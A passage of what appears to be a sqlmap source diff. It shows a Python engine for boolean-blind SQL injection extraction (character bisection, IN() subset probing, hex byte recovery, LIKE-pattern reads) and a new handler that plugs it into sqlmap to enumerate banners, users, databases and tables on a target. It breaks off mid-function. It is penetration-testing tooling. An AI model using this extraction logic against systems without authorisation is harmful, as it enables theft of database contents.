|
||||
# general dynamic-range bisection - a real code-point fn can far exceed 255,
|
||||
# so find the tight upper bound first, then bisect
|
||||
high = _UNICODE_MAX
|
||||
for cap in (127, 255, 0xFFFF, _UNICODE_MAX):
|
||||
if not self._gtNum(code, cap, _UNICODE_MAX):
|
||||
high = cap
|
||||
break
|
||||
low = 0
|
||||
while low < high:
|
||||
mid = (low + high) // 2
|
||||
if self._gtNum(code, mid, high):
|
||||
low = mid + 1
|
||||
else:
|
||||
high = mid
|
||||
return low
|
||||
|
||||
def _pickCode(self, code, codes):
|
||||
# order-free code selection when there's no ordered comparator: IN() subset
|
||||
# bisection if available, else a plain '=' scan (last resort, no '<>' needed)
|
||||
if self._inOk:
|
||||
return self._membershipCode(code, codes)
|
||||
for c in codes:
|
||||
if self._ask("%s=%d" % (code, c)):
|
||||
return c
|
||||
return None
|
||||
|
||||
def _membershipCode(self, code, codes):
|
||||
# ORDER-FREE subset bisection: split the candidate code list in half and test
|
||||
# `code IN (half)` - needs only '='/IN, so it survives blocked '>'/'<'/BETWEEN
|
||||
# and collation quirks. ~log2(n) probes. Returns the matched code, or None
|
||||
# when the char is outside `codes` (caller escalates to hex / marks it).
|
||||
if not self._inOk or not self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in codes))):
|
||||
return None
|
||||
cand = list(codes)
|
||||
while len(cand) > 1:
|
||||
half = cand[:len(cand) // 2]
|
||||
if self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in half))):
|
||||
cand = half
|
||||
else:
|
||||
cand = cand[len(cand) // 2:]
|
||||
return cand[0]
|
||||
|
||||
def _membershipLit(self, one, chars):
|
||||
# order-free subset bisection over char LITERALS (no code fn, no ordering) -
|
||||
# `chars` is frequency-ordered so the common half resolves first
|
||||
if not self._inOk or not self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in chars))):
|
||||
return None
|
||||
cand = list(chars)
|
||||
while len(cand) > 1:
|
||||
half = cand[:len(cand) // 2]
|
||||
if self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in half))):
|
||||
cand = half
|
||||
else:
|
||||
cand = cand[len(cand) // 2:]
|
||||
return cand[0]
|
||||
|
||||
def _ensureHexfn(self):
|
||||
# a hex fn may not have been discovered (code/collation mode won the ladder
|
||||
# before hex was tried); probe for one on demand so escalation can recover
|
||||
# bytes exactly. probes at most once.
|
||||
if self.dialect.hexfn is None and not self._hexProbed:
|
||||
self._hexProbed = True
|
||||
with self._probePhase(): # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided
|
||||
for name, tmpl in _HEXFN:
|
||||
enc = self._hexEncoding(tmpl)
|
||||
if enc:
|
||||
self.dialect.hexfn = Cap(name, tmpl, encoding=enc)
|
||||
break
|
||||
return self.dialect.hexfn
|
||||
|
||||
def _hexEncoding(self, tmpl):
|
||||
# if `tmpl` hex-encodes a char, return the codec that decodes it (utf-8 /
|
||||
# utf-16-be / utf-16-le), else None. 'q'(0x71) must map to that codec's form
|
||||
# AND track the char (a DIFFERENT value for 'p'), so a constant can't match.
|
||||
hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1)) # 'q'
|
||||
hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1)) # 'p'
|
||||
for form, enc in _HEX_Q_ENCODINGS:
|
||||
if self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form)):
|
||||
return enc
|
||||
return None
|
||||
|
||||
def _escalate(self, one, pos):
|
||||
# candidate did not verify -> char is outside the searched alphabet.
|
||||
# recover its exact bytes via hex if available; otherwise mark it (never
|
||||
# silently substitute a space/'~' or delete it)
|
||||
if self._ensureHexfn():
|
||||
ch = self._readHexChar(one)
|
||||
if ch and ch != _REPL:
|
||||
return ch
|
||||
self.dialect.notes.append("char at position %d outside extraction alphabet - marked" % pos)
|
||||
return _REPL
|
||||
|
||||
def _readChar(self, expr, pos, codes=None):
|
||||
one = self._sub(expr, pos, 1)
|
||||
mode = self.dialect.compare
|
||||
|
||||
if mode == "code":
|
||||
code = self.dialect.charcode[1].format(expr=one)
|
||||
ordered = self._comparator in ("gt", "between")
|
||||
if codes is not None:
|
||||
# restricted-alphabet (e.g. the hex-framed dump payload): a small ASCII
|
||||
# set. no per-char verify - ASCII codes are unambiguous across charcode
|
||||
# semantics and extractResult whole-value verifies.
|
||||
low = self._bisectCodes(code, codes) if ordered else self._pickCode(code, codes)
|
||||
return _unichr(low) if low is not None else self._escalate(one, pos)
|
||||
if ordered:
|
||||
low = self._bisectCodeRange(code)
|
||||
else:
|
||||
# no ordered operator: order-free IN() over the printable set (or a '='
|
||||
# scan if IN is gone too); anything outside it escalates to hex / marks
|
||||
low = self._pickCode(code, [ord(c) for c in _PRINTABLE_SORTED])
|
||||
if low is None:
|
||||
return self._escalate(one, pos)
|
||||
if 0xD800 <= low <= 0xDFFF:
|
||||
# a UTF-16 code-unit fn (SQL Server UNICODE under a non-SC collation)
|
||||
# can return an isolated surrogate - not a scalar; recover via bytes
|
||||
return self._escalate(one, pos)
|
||||
try:
|
||||
ch = _unichr(low) # low==0 is a valid NUL char, not "empty"
|
||||
except ValueError:
|
||||
return self._escalate(one, pos)
|
||||
# a lossy code fn can return a codepage byte, a UTF-8 lead byte, or even
|
||||
# '?' (63) for an unrepresentable char - the old low>127-only check
|
||||
# silently accepted the last as a literal '?'. only a *proven* code-point
|
||||
# fn is trusted outright; everything else must round-trip-verify.
|
||||
if self.dialect.charcode.get("semantics") != "codepoint" and \
|
||||
not self._exactCharEquals(one, ch):
|
||||
return self._escalate(one, pos)
|
||||
return ch
|
||||
|
||||
if mode == "hex":
|
||||
if self.dialect.hexfn is None:
|
||||
return self._escalate(one, pos)
|
||||
return self._readHexChar(one)
|
||||
|
||||
if mode == "collation":
|
||||
if self.dialect.binwrap is None:
|
||||
return self._escalate(one, pos)
|
||||
w = self.dialect.binwrap[1]
|
||||
cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (w.format(x=one), w.format(x=self._lit(c)))))
|
||||
if self._ask("%s=%s" % (w.format(x=one), w.format(x=self._lit(cand)))):
|
||||
return cand
|
||||
return self._escalate(one, pos)
|
||||
|
||||
if mode == "ordinal":
|
||||
cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (one, self._lit(c))))
|
||||
if self._ask("%s=%s" % (one, self._lit(cand))):
|
||||
return cand
|
||||
return self._escalate(one, pos)
|
||||
|
||||
# equality / equality-ci: order-free IN() subset bisection (frequency-ordered,
|
||||
# ~log2(n) probes) when IN is usable, else the linear frequency scan
|
||||
if self._inOk:
|
||||
ch = self._membershipLit(one, _FREQ_ORDER)
|
||||
return ch if ch is not None else self._escalate(one, pos)
|
||||
for ch in _FREQ_ORDER:
|
||||
if self._ask("%s=%s" % (one, self._lit(ch))):
|
||||
return ch
|
||||
return self._escalate(one, pos)
|
||||
|
||||
def _readHexChar(self, one):
|
||||
# read the uppercase-hex byte string of a single source char, digit by
|
||||
# digit over [0-9A-F] (case-safe), then pick the encoding by exact round-trip
|
||||
# against the source (decoder order alone is endian-ambiguous: 00 41 is both
|
||||
# UTF-16BE 'A' and UTF-16LE U+4100).
|
||||
hexpr = self.dialect.hexfn[1].format(expr=one)
|
||||
hlen, htrunc = self._measureLength(hexpr, ceiling=_MAX_HEX_CHAR_NIBBLES)
|
||||
if htrunc or not hlen or hlen % 2 or hlen > _MAX_HEX_CHAR_NIBBLES:
|
||||
return _REPL
|
||||
# bisect each nibble over [0-9A-F] when hex ordering is reliable (~4 asks
|
||||
# vs up to 16); fall back to an equality scan otherwise
|
||||
if self._hexOrdered is None:
|
||||
self._hexOrdered = (self._ask("'A'>'9'") and self._ask("'F'>'A'") and self._ask("'1'>'0'"))
|
||||
digits = ""
|
||||
for k in range(1, hlen + 1):
|
||||
nib = self._sub(hexpr, k, 1)
|
||||
if self._hexOrdered:
|
||||
lo, hi = 0, len(_HEXDIGITS) - 1
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
if self._ask("%s>'%s'" % (nib, _HEXDIGITS[mid])):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid
|
||||
# verify: if nib isn't actually this hex digit (WAF/glitch), bail
|
||||
if not self._ask("%s='%s'" % (nib, _HEXDIGITS[lo])):
|
||||
return _REPL
|
||||
digits += _HEXDIGITS[lo]
|
||||
else:
|
||||
for hd in _HEXDIGITS:
|
||||
if self._ask("%s='%s'" % (nib, hd)):
|
||||
digits += hd
|
||||
break
|
||||
else:
|
||||
return _REPL
|
||||
try:
|
||||
raw = _unhexlify(digits)
|
||||
except (TypeError, ValueError, binascii.Error, UnicodeError):
|
||||
return _REPL
|
||||
# generate every single-scalar candidate and pick the one that round-trips
|
||||
# against the source char (resolves the endian ambiguity), preferring the
|
||||
# interleaved-NUL-signalled endianness order first
|
||||
order = []
|
||||
if len(raw) >= 2 and raw[0:1] == b"\x00" and raw[1:2] != b"\x00":
|
||||
order += ["utf-16-be", "utf-32-be"]
|
||||
if len(raw) >= 2 and raw[1:2] == b"\x00" and raw[0:1] != b"\x00":
|
||||
order += ["utf-16-le", "utf-32-le"]
|
||||
# UTF first (near-universal), then legacy single/multibyte charsets a non-Unicode
|
||||
# backend may hex; each is TRIED only when it round-trips against the source char
|
||||
# (see _exactCharEquals below), so adding codecs can only recover MORE, never
|
||||
# mis-decode. latin-1 stays last (it accepts any single byte).
|
||||
order += ["utf-8", "utf-16-le", "utf-16-be", "utf-32-le", "utf-32-be",
|
||||
"cp1252", "cp1251", "gbk", "shift_jis", "euc-kr", "big5", "latin-1"]
|
||||
seen = set()
|
||||
for enc in order:
|
||||
try:
|
||||
dec = raw.decode(enc)
|
||||
except (UnicodeDecodeError, ValueError):
|
||||
continue
|
||||
if dec in seen or not _isSingleUnicodeScalar(dec):
|
||||
continue
|
||||
seen.add(dec)
|
||||
if self._exactCharEquals(one, dec):
|
||||
return dec
|
||||
return _REPL
|
||||
|
||||
def _textable(self, expr):
|
||||
# extraction needs BOTH length and substring to work; length may implicitly
|
||||
# cast where substring won't (MSSQL CONCAT(int,..) vs SUBSTRING(int,..)),
|
||||
# so the substring primitive must be probed too. with no length fn, the
|
||||
# substring probe alone is the textability test.
|
||||
length_ok = self.dialect.length is None or self._numDefined(self._len(expr))
|
||||
return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1))
|
||||
|
||||
def _resolveText(self, expr):
|
||||
# if the expression isn't directly substringable (e.g. a numeric/date column
|
||||
# on a strict engine), wrap it in the discovered text cast
|
||||
if self._textable(expr):
|
||||
return expr
|
||||
if self.dialect.textcast is not None and self._ask("%s IS NOT NULL" % expr):
|
||||
casted = self.dialect.textcast[1].format(expr=expr)
|
||||
if self._textable(casted):
|
||||
return casted
|
||||
return expr
|
||||
|
||||
def coalesce(self, expr, fallback="''"):
|
||||
return self.dialect.coalesce[1].format(expr=expr, fallback=fallback) if self.dialect.coalesce else expr
|
||||
|
||||
def _concatMany(self, parts):
|
||||
if len(parts) == 1:
|
||||
return parts[0]
|
||||
func = self.dialect.concat.get("variadic") if self.dialect.concat else None
|
||||
if func: # flat CONCAT(a,b,c,...) when variadic
|
||||
return "%s(%s)" % (func, ",".join(parts))
|
||||
out = parts[0]
|
||||
for p in parts[1:]:
|
||||
out = self.dialect.concat[1].format(a=out, b=p)
|
||||
return out
|
||||
|
||||
def buildLiteral(self, value):
|
||||
"""Build a SQL string literal for `value`. Prefers CHAR(code)||... from the
|
||||
discovered char-from-code + concat primitives (no quote-escaping pitfalls),
|
||||
for ASCII values; otherwise a doubled-quote literal."""
|
||||
if value and self.dialect.charfrom and self.dialect.concat and all(0 < ord(c) < 128 for c in value):
|
||||
return self._concatMany([self.dialect.charfrom[1].format(code=ord(c)) for c in value])
|
||||
return self._lit(value)
|
||||
|
||||
def extract(self, expr, limit=None):
|
||||
return self.extractResult(expr, limit).value
|
||||
|
||||
def extractResult(self, expr, limit=None, _ceiling=None, _verify=True, codes=None):
|
||||
"""Structured text extraction keeping NULL / empty / truncated / failed
|
||||
distinct - never conflated into one ambiguous ''/None. `codes` restricts the
|
||||
char alphabet (sorted code list) for a big speedup on known-alphabet values."""
|
||||
if self.dialect.prefix is not None and self.dialect.substring is None:
|
||||
return self._likeExtract(expr, limit) # MAX-CONSTRAINT pattern-match path
|
||||
q0 = self._queries
|
||||
expr = self._resolveText(expr)
|
||||
ceiling = self.maxlen if _ceiling is None else _ceiling
|
||||
length, truncated = self._measureLength(expr, ceiling=ceiling)
|
||||
if length is None:
|
||||
# >=0 was false: either a genuine NULL or the probe itself failed.
|
||||
# PROVE `IS NULL` positively - negating a failed `IS NOT NULL` used to
|
||||
# turn every invalid expression into a convincing, "complete" NULL.
|
||||
is_null = self._ask("(%s) IS NULL" % expr)
|
||||
return ExtractResult(None, is_null=is_null, complete=is_null,
|
||||
queries=self._queries - q0,
|
||||
warnings=[] if is_null else ["length probe failed"])
|
||||
if limit is not None and limit < length:
|
||||
truncated = True # a bounded prefix of a longer value
|
||||
length = limit
|
||||
value = "" if length == 0 else "".join(self._readChar(expr, i, codes) for i in range(1, length + 1))
|
||||
warns = ["contains unresolved char"] if _REPL in value else []
|
||||
if self.dialect.compare == "equality-ci":
|
||||
warns.append("lossy equality collation: case/accents ambiguous")
|
||||
complete = not truncated and not warns
|
||||
# a length fn can stop at an embedded NUL, yielding a convincing short prefix.
|
||||
# ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the
|
||||
# strongest available comparator (hex > binary wrapper > plain equality); even
|
||||
# plain equality catches a NUL-truncated prefix. recover via hex on mismatch.
|
||||
# (_verify=False on the internal hex-string pull to avoid re-entry.)
|
||||
if _verify and complete and not self._exactEquals(expr, self._lit(value)):
|
||||
recovered = self._extractViaHex(expr, q0)
|
||||
if recovered is not None:
|
||||
return recovered
|
||||
complete = False
|
||||
warns.append("whole-value verification failed")
|
||||
return ExtractResult(value, complete=complete, truncated=truncated,
|
||||
queries=self._queries - q0, warnings=warns)
|
||||
|
||||
def _extractViaHex(self, expr, q0=None):
|
||||
# recover a full text value through strict hex extraction, or None
|
||||
if not self._ensureHexfn():
|
||||
return None
|
||||
q0 = self._queries if q0 is None else q0
|
||||
res = self.extractResult(self.dialect.hexfn[1].format(expr=expr),
|
||||
_ceiling=self.maxbytes * 2, _verify=False)
|
||||
if res.is_null:
|
||||
return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0)
|
||||
if res.value is None or not res.complete or res.truncated or res.warnings:
|
||||
return None
|
||||
dec = self._decodeHexToken(res.value)
|
||||
if dec is None:
|
||||
return None
|
||||
return ExtractResult(dec, complete=True, queries=self._queries - q0,
|
||||
warnings=["recovered via hex after verification mismatch"])
|
||||
|
||||
def _exactEquals(self, left, right):
|
||||
# whole-value equality that avoids collation/trailing-space lies
|
||||
if self._ensureHexfn():
|
||||
t = self.dialect.hexfn[1]
|
||||
return self._ask("(%s)=(%s)" % (t.format(expr=left), t.format(expr=right)))
|
||||
if self.dialect.binwrap:
|
||||
t = self.dialect.binwrap[1]
|
||||
return self._ask("(%s)=(%s)" % (t.format(x=left), t.format(x=right)))
|
||||
return self._ask("(%s)=(%s)" % (left, right))
|
||||
|
||||
def extractInteger(self, expr, maximum=None):
|
||||
"""Extract a (possibly signed) integer by range-bounded bisection - avoids
|
||||
stringifying and reading digit-by-digit."""
|
||||
cap = maximum if maximum is not None else 1 << 62
|
||||
if self._comparator != "gt":
|
||||
# BETWEEN / order-free IN(): read the non-negative magnitude (counts,
|
||||
# lengths - the only integers enumeration needs). ceil bounds the
|
||||
# order-free window scan; hitting it overflows rather than saturating.
|
||||
if not self._numDefined(expr):
|
||||
return None
|
||||
ceil = cap if self._comparator == "between" else min(cap, 1 << 16)
|
||||
n = self._readNum(expr, 0, ceil)
|
||||
if n >= ceil and ceil < cap:
|
||||
raise OverflowError("integer exceeds maximum %d" % ceil)
|
||||
return n
|
||||
if not self._ask("%s>=0" % expr):
|
||||
if not self._ask("%s<0" % expr):
|
||||
return None # NULL or non-numeric
|
||||
if self._ask("%s<%d" % (expr, -cap)): # symmetric: negative side capped too
|
||||
raise OverflowError("integer below minimum -%d" % cap)
|
||||
hi = -1
|
||||
lo = -2
|
||||
while self._ask("%s<%d" % (expr, lo)):
|
||||
hi = lo
|
||||
lo *= 2
|
||||
while lo < hi:
|
||||
mid = -((-lo + -hi) // 2) # ceil toward zero
|
||||
if self._ask("%s<%d" % (expr, mid)):
|
||||
hi = mid - 1
|
||||
else:
|
||||
lo = mid
|
||||
return lo
|
||||
lo, hi = 0, 1
|
||||
while hi < cap and self._ask("%s>%d" % (expr, hi)):
|
||||
lo = hi + 1
|
||||
hi = min(hi * 2 + 1, cap)
|
||||
if hi == cap and self._ask("%s>%d" % (expr, cap)):
|
||||
raise OverflowError("integer exceeds maximum %d" % cap) # never saturate silently
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
if self._ask("%s>%d" % (expr, mid)):
|
||||
lo = mid + 1
|
||||
else:
|
||||
hi = mid
|
||||
return lo
|
||||
|
||||
def extractBytes(self, expr):
|
||||
"""Extract the exact bytes of a string/blob expression via a hex function.
|
||||
Byte-exact and collation-independent (the hex string is ASCII [0-9A-F], so
|
||||
whatever compare mode is active reads it cleanly). Returns None if no hex
|
||||
function is available on the target."""
|
||||
if not self._ensureHexfn():
|
||||
return None
|
||||
# hex doubles the length; cap by maxbytes (a char can be several bytes),
|
||||
# not maxlen
|
||||
res = self.extractResult(self.dialect.hexfn[1].format(expr=expr),
|
||||
_ceiling=self.maxbytes * 2, _verify=False)
|
||||
hexstr = res.value
|
||||
# STRICT: never clean corruption into believable bytes. reject a non-hex
|
||||
# char, odd length, incomplete/truncated pull, or an unresolved marker.
|
||||
if hexstr is None or not res.complete or res.truncated or res.warnings:
|
||||
return None
|
||||
if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr):
|
||||
return None
|
||||
try:
|
||||
return _unhexlify(hexstr)
|
||||
except (TypeError, ValueError, binascii.Error, UnicodeError):
|
||||
return None
|
||||
|
||||
def extractText(self, expr, encoding="utf-8", errors="replace"):
|
||||
"""Extract bytes then decode with a caller-chosen encoding - the reliable
|
||||
path when the column's charset is known (e.g. a CP1252 VARCHAR, a UTF-16
|
||||
NVARCHAR, or a binary blob). Falls back to char-by-char extract() when the
|
||||
target has no hex function."""
|
||||
raw = self.extractBytes(expr)
|
||||
if raw is None:
|
||||
return self.extract(expr)
|
||||
return raw.decode(encoding, errors)
|
||||
|
||||
def _likePat(self, prefix_singles, ch, trailing):
|
||||
# build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal
|
||||
# char + `single`*after. only `ch` may be special, escaped if so.
|
||||
p = self.dialect.prefix
|
||||
multi, single = p.get("multi"), p.get("single")
|
||||
body = single * prefix_singles
|
||||
if p.name == "GLOB" and ch in (multi, single, "["):
|
||||
body += "[%s]" % ch # GLOB escapes via a char class
|
||||
return body + (single * trailing), ""
|
||||
# SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_
|
||||
special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single)
|
||||
if ch in special:
|
||||
body += "\\" + ch # escape via ESCAPE '\'
|
||||
return body + (single * trailing), " ESCAPE '\\'"
|
||||
body += ch.replace("'", "''")
|
||||
return body + (single * trailing), ""
|
||||
|
||||
def _likeIs(self, expr, pattern, esc):
|
||||
return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc))
|
||||
|
||||
def _likeExtract(self, expr, limit=None):
|
||||
p = self.dialect.prefix
|
||||
multi, single = p.get("multi"), p.get("single")
|
||||
q0 = self._queries
|
||||
# NULL vs matches-anything-nonnull
|
||||
if not self._likeIs(expr, multi, ""):
|
||||
is_null = self._ask("(%s) IS NULL" % expr)
|
||||
return ExtractResult(None, is_null=is_null, complete=is_null,
|
||||
queries=self._queries - q0,
|
||||
warnings=[] if is_null else ["pattern probe failed"])
|
||||
if self._likeIs(expr, "", ""): # empty string matches only ''
|
||||
return ExtractResult("", complete=True, queries=self._queries - q0)
|
||||
# length from wildcards: `_`*n + `%` matches iff length >= n. find the
|
||||
# largest n that still matches (keep a known-true lower bound; the exponential
|
||||
# must NOT advance lo past the true region)
|
||||
ge = lambda n: self._likeIs(expr, single * n + multi, "")
|
||||
hi = 1
|
||||
while hi < self.maxlen and ge(hi):
|
||||
hi = min(hi * 2, self.maxlen)
|
||||
lo = 1 # ge(1) is true (non-empty)
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1)
|
||||
length = lo
|
||||
truncated = length >= self.maxlen and ge(self.maxlen)
|
||||
if limit is not None and limit < length:
|
||||
truncated, length = True, limit
|
||||
out = []
|
||||
for i in range(length):
|
||||
hit = None
|
||||
for c in _FREQ_ORDER:
|
||||
pat, esc = self._likePat(i, c, length - i - 1)
|
||||
if self._likeIs(expr, pat, esc):
|
||||
hit = c
|
||||
break
|
||||
out.append(hit if hit is not None else _REPL)
|
||||
value = "".join(out)
|
||||
warns = ["contains unresolved char"] if _REPL in value else []
|
||||
if p.get("case_insensitive"):
|
||||
warns.append("LIKE is case-insensitive: letter case may be ambiguous")
|
||||
return ExtractResult(value, complete=not truncated and not warns, truncated=truncated,
|
||||
queries=self._queries - q0, warnings=warns)
|
||||
|
||||
@staticmethod
|
||||
def _decodeHexToken(token, encoding=None):
|
||||
if len(token) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in token):
|
||||
return None # strict: don't clean corruption
|
||||
try:
|
||||
raw = _unhexlify(token)
|
||||
except (TypeError, ValueError, binascii.Error, UnicodeError):
|
||||
return None
|
||||
if encoding:
|
||||
return raw.decode(encoding, "replace")
|
||||
# UTF-16LE (SQL Server nvarchar) is *also* valid UTF-8 when ASCII-ish, so a
|
||||
# utf-8-first guess silently mis-decodes it; detect the interleaved-null
|
||||
# signature first
|
||||
if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(1, len(raw), 2)):
|
||||
try:
|
||||
return raw.decode("utf-16-le")
|
||||
except UnicodeDecodeError:
|
||||
pass
|
||||
# UTF-16BE (h2/HSQLDB RAWTOHEX) has nulls at EVEN offsets; catch it before the
|
||||
# utf-8 guess below "succeeds" by reading those nulls as NUL-interleaved text
|
||||
if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(0, len(raw), 2)):
|
||||
try:
|
||||
return raw.decode("utf-16-be")
|
||||
except UnicodeDecodeError:
|
||||
pass
|
||||
for enc in ("utf-8", "utf-16-le", "latin-1"):
|
||||
try:
|
||||
return raw.decode(enc)
|
||||
except (UnicodeDecodeError, ValueError):
|
||||
continue
|
||||
return raw.decode("latin-1", "replace")
|
||||
223
extra/esperanto/handler.py
Normal file
223
extra/esperanto/handler.py
Normal file
|
|
@ -0,0 +1,223 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from .engine import Esperanto
|
||||
from .records import OracleUndecided
|
||||
|
||||
|
||||
def buildHandler():
|
||||
"""Build the sqlmap dbmsHandler that drives enumeration through this engine when
|
||||
the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are
|
||||
deferred here so the engine above stays dependency-free for standalone use.
|
||||
|
||||
The user still commands *what* to retrieve (--banner / --tables / --dump / ...);
|
||||
esperanto only works out *how* on a dialect it discovers from scratch, and every
|
||||
probe rides sqlmap's own boolean inference (request / comparison / WAF stack)."""
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CHARSET_TYPE
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.exception import SqlmapDataException
|
||||
from lib.request.inject import checkBooleanExpression
|
||||
from lib.request.inject import getValue
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
# boolean-blind-only oracle (no inband UNION marker): whole-page true/false, so a
|
||||
# reflective target that filters out the reflected marker can't defeat it
|
||||
def _blindOracle(condition):
|
||||
return getValue(condition, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY,
|
||||
suppressOutput=True, union=False, error=False, time=False)
|
||||
|
||||
class _EsperantoHandler(Enumeration, Miscellaneous):
|
||||
def __init__(self):
|
||||
Enumeration.__init__(self)
|
||||
Miscellaneous.__init__(self)
|
||||
self._esp = None
|
||||
self._identCache = {} # current user/db: fetch (and announce) once
|
||||
self._colCache = {} # (db, table) -> ordered column names, so a dump
|
||||
# reuses what --columns already enumerated
|
||||
self._scopeCache = {} # table -> resolved schema (see _scopeFor)
|
||||
|
||||
def _engine(self):
|
||||
if self._esp is None:
|
||||
# esperanto is a PURE boolean-oracle engine: every probe is one true/false
|
||||
# question, so it gains nothing from UNION/error inband extraction - while
|
||||
# those need a concatenated marker whose generic form is CONCAT() when the
|
||||
# backend is unidentified (agent.py), and CONCAT() does not exist on SQLite/
|
||||
# Firebird/Oracle (they use ||) so every such probe errors. so PREFER the
|
||||
# boolean-blind technique: no marker, no concatenation, whole-page true/false,
|
||||
# works everywhere. only fall back to whatever-technique-is-available if the
|
||||
# target has no usable boolean-blind vector. _ask decides what an undecidable
|
||||
# probe MEANS by context (skip a candidate rung vs degrade a data read loudly).
|
||||
esp = Esperanto(_blindOracle, retries=2)
|
||||
logger.info("Esperanto is discovering the back-end SQL dialect (agnostic mode, boolean-blind)")
|
||||
try:
|
||||
esp.discover()
|
||||
except RuntimeError:
|
||||
# no usable boolean-blind vector on this target - retry with any technique
|
||||
# sqlmap detected (UNION/error/time); may hit the CONCAT limitation above
|
||||
esp = Esperanto(lambda condition: checkBooleanExpression(condition), retries=2)
|
||||
logger.info("Esperanto retrying discovery via any available inference technique")
|
||||
try:
|
||||
esp.discover()
|
||||
except RuntimeError as ex:
|
||||
# genuinely unusable (unstable target, or no substring/pattern
|
||||
# primitive) - stop cleanly instead of surfacing an internal traceback
|
||||
raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex)
|
||||
logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown"))
|
||||
esp._progress = lambda value: logger.info("retrieved: %s" % value) # live feedback
|
||||
for note in esp.dialect.notes: # surface degradations LOUDLY (never silent)
|
||||
logger.warning("Esperanto: %s" % note)
|
||||
self._esp = esp
|
||||
return self._esp
|
||||
|
||||
def _scopeDb(self):
|
||||
# the database to scope table/column lookups to: -D if given, else the
|
||||
# current one. WITHOUT this, a same-named table in another schema (e.g.
|
||||
# information_schema.USERS vs shop.users) merges columns and breaks dump.
|
||||
return conf.db or self.getCurrentDb()
|
||||
|
||||
def _scopeFor(self, table):
|
||||
# scope for a SPECIFIC table: -D wins; else the current schema IF the table
|
||||
# is there; else the schema the table actually lives in (PG-family: tables
|
||||
# often sit in 'public' while current_schema is the login user's own schema).
|
||||
if conf.db:
|
||||
return conf.db
|
||||
if table in self._scopeCache:
|
||||
return self._scopeCache[table]
|
||||
esp = self._engine()
|
||||
cur = self.getCurrentDb()
|
||||
scope = cur if (cur and esp.hasTable(table, cur)) else (esp.tableSchema(table) or cur)
|
||||
self._scopeCache[table] = scope
|
||||
return scope
|
||||
|
||||
def _db(self):
|
||||
return self._scopeDb() or "<current>"
|
||||
|
||||
def getFingerprint(self):
|
||||
# concise fingerprint only; the version banner is shown for --banner, not
|
||||
# printed unbidden on every run (and not re-extracted here)
|
||||
product = self._engine().identify().get("product") or "unknown"
|
||||
return "back-end DBMS: %s (via Esperanto DBMS-agnostic engine)" % product
|
||||
|
||||
def getBanner(self):
|
||||
# the ONLY path that blind-reads the full version string (expensive); the
|
||||
# fingerprint/product naming never does
|
||||
logger.info("fetching banner")
|
||||
kb.data.banner = self._engine().banner()
|
||||
return kb.data.banner
|
||||
|
||||
def getCurrentUser(self):
|
||||
if "user" not in self._identCache:
|
||||
expr = self._engine().dialect.identity.get("user")
|
||||
if expr:
|
||||
logger.info("fetching current user")
|
||||
self._identCache["user"] = self._safeExtract(expr) if expr else None
|
||||
kb.data.currentUser = self._identCache["user"]
|
||||
return kb.data.currentUser
|
||||
|
||||
def getCurrentDb(self):
|
||||
# called repeatedly to scope tables/columns/dump -> fetch and announce once
|
||||
if "db" not in self._identCache:
|
||||
expr = self._engine().dialect.identity.get("database")
|
||||
if expr:
|
||||
logger.info("fetching current database")
|
||||
self._identCache["db"] = self._safeExtract(expr) if expr else None
|
||||
kb.data.currentDb = self._identCache["db"]
|
||||
return kb.data.currentDb
|
||||
|
||||
def _safeExtract(self, expr):
|
||||
try:
|
||||
return self._esp.extract(expr)
|
||||
except OracleUndecided:
|
||||
logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr)
|
||||
return None
|
||||
|
||||
def isDba(self, user=None):
|
||||
kb.data.isDba = False # no privilege claim the oracle cannot prove
|
||||
return kb.data.isDba
|
||||
|
||||
def getDbs(self):
|
||||
logger.info("fetching database names")
|
||||
kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or []
|
||||
return kb.data.cachedDbs
|
||||
|
||||
def getTables(self, bruteForce=None):
|
||||
# scope to the requested database (-D) or the current one, so the listing
|
||||
# isn't polluted with every schema's tables (e.g. information_schema)
|
||||
db = conf.db or self.getCurrentDb()
|
||||
lim = conf.limitStop or 100
|
||||
names = self._engine().enumerate("table", limit=lim, schema=db) or []
|
||||
if not names and not conf.db and db != "public":
|
||||
# current schema empty (PG-family: login-user schema) -> tables usually
|
||||
